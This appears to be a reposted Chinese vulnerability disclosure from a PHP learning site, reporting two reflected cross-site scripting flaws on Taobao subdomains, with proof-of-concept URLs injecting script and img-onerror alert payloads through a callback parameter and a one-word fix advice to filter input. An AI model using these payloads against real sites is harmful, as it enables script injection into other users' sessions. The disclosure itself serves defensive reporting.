http://fang.taobao测试数据/fang/activities/getLotteryInfo. html ?callback=<script>alert(/goderci/)</script>【IE 6测试】 http://kezhan.trip.taobao测试数据/remote/citySearch.do?&callback={callback}&q=11111<img src=1 onerror=alert(/goderci/)> 修复方案: 过滤! 作者 goderci
查看更多关于淘宝网2处反射型xss - 网站安全 - 自学php的详细内容...
声明:本文来自网络,不代表【好得很程序员自学网】立场,转载请注明出处:http://haodehen.cn/did13186